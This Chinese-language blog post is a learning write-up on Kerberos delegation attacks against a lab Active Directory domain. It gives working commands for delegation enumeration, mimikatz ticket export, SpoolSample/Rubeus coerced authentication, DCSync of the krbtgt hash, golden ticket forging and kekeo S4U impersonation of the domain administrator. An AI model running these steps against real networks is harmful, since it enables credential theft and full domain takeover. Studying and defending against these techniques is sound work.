Kerberos协议相关攻击一之委派攻击学习

Kerberos 协议相关知识参考daiker佬的文章

关于域委派

首先了解一下什么是委派，委派即委托安排，我把这件事委托给你做了。域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式，还有一种是基于资源的约束委派（Resource Based Constrained Delegation），这样主要讲解非约束委派攻击。

域委派的由来

在Windows 2000 Server首次发布Active Directory时，Microsoft必须提供一种简单的机制来支持用户通过kerberos向web server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为”kerberos双跳问题”，并且要求进行委派，以便web server在修改数据库记录时模拟用户。
这里说的”以便web server在修改数据库记录时模拟用户” 需要如何理解？
我自己理解的是就比如数据库中的相关数据需要修改，如果此时如果是让当前的web server的服务账户去进行修改的话，那么也就无法记录到到底是谁去修改了这个数据，此时如果出了问题就不知道该去问谁了，这种业务情况下就可能就是需要委派这种功能来进行解决，那么委派之后的情况就是，让当前的web server的服务账户去操作，但是web server同样带有客户的信息，在修改相关数据的时候，用的是对应客户操作者的记录。

为什么域委派

为什么需要域委派呢，比如现在有web服务器和文件服务器，当用户A访问web服务器去请求某个资源时，web服务器上本身并没有该资源，所以web服务器就会从文件服务器上调用这个资源，其中发生的过程若以域委派的形式进行，那么就是：
用户A访问web服务器，服务器再以用户A的身份去访问文件服务器。

域委派流程

一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后，前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack，以Kerberos 协议继续认证到后台服务器，从而在后台服务器中获取jack用户的访问权限，即域中单跳或者多跳的Kerberos认证。——> Kerberos 认证学习
流程

域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器;
Web服务以websvc服务账号运行，websvc向KDC发起jack用户的票据申请;
KDC检查websvc用户的委派属性，如果被设置，则返回jack用户的可转发票据 TGT;
websvc收到jack用户TGT后，使用该票据向KDC申请访问文件服务器的服务票据ST;
KDC检查websvc的委派属性，如果被设置，且申请的文件服务在允许的列表清单中，则返回一个jack用户访问文件服务的授权票据 ST;
websvc收到的jack用户的授权票据ST后，可访问文件服务，完成多跳认证。

委派类型

委派主要分为以下三种：

非约束性委派 UD: Unconstrained Delegation
约束性委派 CD: Constrained Delegation
基于资源的约束性委派 RBCD: Resource Based Constrained Delegation

委派原理学习

非约束性委派的原理是：用户想访问服务A，于是向KDC提交认证，KDC发现A是非约束性委派，会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A，服务A就相当于获得了用户的TGT，把TGT放入lsass进程，然后就可以拿着用户的TGT以用户的身份去访问该用户权限能够访问的服务了

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

本地环境

以下是本地操作环境：

域：god.org
域控：
主域控：P-DC 系统：Windows Server 2008 R2 IP：192.168.52.138
域内主机：
Win-2003 IP：192.168.52.141 本地管理员：user
Win7     IP: 192.168.52.143 本地管理员：user
域用户：
域管：god\administrator
普通域用户：god\kkfine
配置委派的域用户和服务账号：god\test

非约束性委派

在域控上配置非约束性委派

配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION，其对应的数是0x81000=528384。

不过上述是主机账号的委派配置，下面可以看看服务账号的非约束性委派配置，可以先创建一个普通用户 test。
但是普通用户默认没有委派的选项设置，需要给他注册一个服务主体名称（SPN）使其成为一个服务账号。SPN(ServicePrincipal Names)服务主体名称，是服务实例(比如：HTTP、SMB、MySQL等服务)的唯一标识符。。SetSPN是一个本地windows二进制文件，可用于检索用户帐户和服务之间的映射。该实用程序可以添加，删除或查看SPN注册。

1 2	`net user test P@ssw0rd /add /domain setspn -U -A priv/test test`

查询test用户注册的SPN

然后同样可以设置非约束性委派了

查询非约束性委派的计算机或服务账号

这里常用 PowerView，Adfind，ldapsearch 这几个工具

PowerView

脚本地址

# 导入 PowerView 脚本
import-module .\powerview.ps1

# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain god.org | select name

# 查询域内非约束性委派的服务账号
Get-NetUser -Unconstrained -Domain god.org | select name

ldapsearch

查询域内非约束委派的计算机

1 2	`ldapsearch -LLL -x -H ldap://192.168.52.138:389 -D "test@god.org" -w "P@ssw0rd" -b dc=zjun,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn`

查询非约束性委派的服务账号

1
2

ldapsearch -LLL -x -H ldap://192.168.52.138:389 -D "test@god.org" -w "P@ssw0rd"   -b dc=zjun,dc=com  "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

Adfind

# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

# 查询非约束性委派的服务账号
AdFind.exe -b "DC=zjun,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

非约束性委派攻击

用户 user 去访问服务 service，如果服务 service 的服务账户开启了非约束性委派，那么当用户 user 访问服务 service 的时候会将用户 user 的 TGT 发送给服务 service 并保存在内存中以备下次重用，所以服务 service 能够利用用户 user 的身份去访问用户 user 能够访问的任意服务。

两种攻击方式，一种是诱使域管用户（相当于是域内钓鱼）来访问配置了非约束性委派的主机或服务，二是结合打印机漏洞让域管用户强制回连以缓存 TGT。

模拟域管访问非约束性委派主机

这里直接模拟域管用户god/Administrator（只要是域管用户，不一定在域管）访问被非约束性委派的主机stu1，stu1 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS，这里演示域管用户 stu1/Administrator 直接 IPC 连接 stu1 。

最开始肯定是无法访问域控的

域管用户 god/Administrator IPC 连接 stu1

这时stu1机器就已经有了域管 god/Administrator 的 TGT 票据，可以用 mimikatz 导出

# mimikatz
privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxx.kirbi

非约束性委派 +Spooler 打印机服务漏洞

在实战中，只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。但是这种方法也需要控制一个域用户。

利用 Windows 打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞，让域控机器 P-DC 强制访问已控的具有本地管理员权限的非约束性委派机器 Win-2008 ，从而拿到域管理员的 TGT，进而接管域控。

splooer服务是默认运行的

首先利用Rubeus在 Win-2008 上以本地管理员权限执行以下命令，每隔一秒监听来自域控机器 P-DC 的登录信息。

1 2	`Rubeus.exe monitor /interval:1 /filteruser:OWA$`

再利用SpoolSample强制域控打印机回连，需在域用户进程上执行，所以这里切换成了普通域用户帐号去执行

1	`SpoolSample.exe OWA STU1`

但最终我本地没有成功，大概率是由于.net framework框架版本较低所以使用不成功。用一下网上的图

然后就能用rebeus导入tgt票据了

1	`Rubeus.exe ptt /ticket:Base64EncodedTicket`

然后这个时候其实就可以导出所有用户的ntlm hash了，并且内存中也有了域管的 TGT 也可以直接 PTT。

1	`lsadump::dcsync /all /csv`

获取krbtgt的hash和sid

1	`lsadump::dcsync /domain:god.org /user:krbtgt`

接下来解密 NTLM hash 后可以直接登录域控，解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持。参考文章

制造黄金票据

1	`kerberos::golden /user:Administrator /domain:god.org /sid:s-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt`

最后可以通过Enter-PSSession -ComputerName OWA开启远程会话。

约束性委派

由于非约束性委派的不安全性，微软在 Windows Server 2003 中引入了约束委派。区别在于不会直接把 TGT 给服务，所发送的认证信息中包含了允许访问的服务，即不允许服务代表用户去访问其他服务。同时为了在 Kerberos 协议层面对约束性委派的支持，微软扩展了两个子协议：

S4U2Self Service for User to Self

S4U2Proxy Service for User to Proxy

S4U2Self 可以代表自身请求针对其自身的 Kerberos 服务票据 ST ， S4U2Proxy 可以用上一步获得的可转发 ST 服务票据以用户的名义请求针对其他指定服务的 ST 服务票据。
对于约束性委派，服务账号只能获取该用户的 ST 服务票据，从而只能模拟该用户访问特定的服务。配置了约束性委派账户的 msDS- AllowedToDelegateTo 属性会指定对哪个 SPN 进行委派。约束性委派的设置需要 SeEnableDelegationPrivilege 权限，该特权通常只有域管理员才有。

配置约束性委派同上。下面设置了服务主机stu1的约束性委派，协议为域控owa的 cifs 协议。关于cifs可以参见文章

配置了支持使用任何身份验证协议的约束性委派后，在机器账号的userAccountControl属性有个 FLAG 位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION，其对应的数是0x1001000=16781312。并且其msDS-AllowedToDelegateTo属性会有允许被委派的服务的 SPN。

如果仅用 Kerberos 协议进行身份验证，不支持协议转换。置了仅使用 Kerberos(K) 约束性委派的机器账号和服务账号的 userAccountControl 属性与正常账号一样，同样其 msDS- AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。

约束性委派用户或者机器的域内查找同非约束性是一样的。

SPN 设置影响对应票据

当委派的权限不是 cifs 时，如 time 权限，如何进一步测试？

通过在 hex 模式下修改 ST2，将 time 修改为 cifs，即可通过 smbexec 执行命令。

约束性委派攻击

在约束性委派中，服务用户只能获取到某个主机或者用户的ST，所以只能模拟特定的用户身份访问特定的服务，是无法获取到用户的TGT的。但是如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM HASH，就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问指定服务的ST。

我们的目的仍然是需要先获取到用户的TGT，这里假设有两种情况一种是知道了服务账户的用户密码，另一种是开启了约束委派的主机账户的用户密码。
如果知道服务账户的用户密码，例如这里的test账户。

1	`tgt::ask /user:Test /domain:god.org /password:P@ssW0rd`

如果是关于主机的，可以先用mimikatz导出hash。

然后同样用kekeo请求该用户的 TGT。

1	`tgt::ask /user:stu1$ /domain:god.org /NTLM:xxxxx`

然后就可以使用这张 TGT 通过伪造 S4U 请求以 administrator 用户身份请求访问域控 CIFS 的 ST票据。这里为何能伪造S4U请求以任意用户身份访问域控获取ST票据，是因为在Service发送S4U请求时服务代表用户获得针对服务自身的kerberos票据这个过程，服务是不需要用户的凭据的，前提条件是只需要服务已经有通过KDC验证的TGT

1	`tgt:s4u /tgt:xxxxxxxx.kirbi /user:Administrator@god.org /service:cifs/OWA.GOD.ORG`

这里存在两个票据，一个是S4Uself返回的，一个是S4Uproxy返回的。

然后用 mimikatz 将 S4Uproxy返回的票据导入当前会话，即可成功访问域控。

其实如果已经可以登录主机了，就可以通过mimikatz导出主机用户或者服务账户的tgt。服务用户的 TGT 导出后，就可以通过伪造 S4U 请求以 administrator 用户身份请求访问域控 CIFS 的 ST。不过我这里的主机TGT已经失效了。

基于资源的约束性委派

如果约束性委派，必须拥有 SeEnableDelegationPrivilege 权限，该特权是敏感的，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server 2012 中引入了基于资源的约束委派。基于资源的约束性委派不需要域管理员权限去设置，而是把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束性委派只能在运行 Windows Server 2012 及以上的域控制器上配置，约束性委派不能跨域进行委派，基于资源的约束性委派可以跨域和林。

约束性委派与基于资源的约束性委派配置差别

传统的约束委派是正向的，通过修改服务 A 的 msDS-AllowedToDelegateTo 属性，添加服务 B 的 SPN，设置约束委派对象（服务 B），服务 A 便可以模拟用户向域控制器请求访问服务 B 的 ST 服务票据。而基于资源的约束委派则是相反的，通过修改服务 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，添加服务 A 的 SID，从而达到让服务 A 模拟用户访问 B 资源的目的。

基于资源的约束性委派攻击

这里没有再搭建Windows Server 2012 可以看看这篇文章https://blog.zjun.info/tech/kerberos-protocol-to-ticket-forgery/

内网渗透

本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议，转载请注明出处！

windows-lsass转储上一篇

vnctf-blockchain 下一篇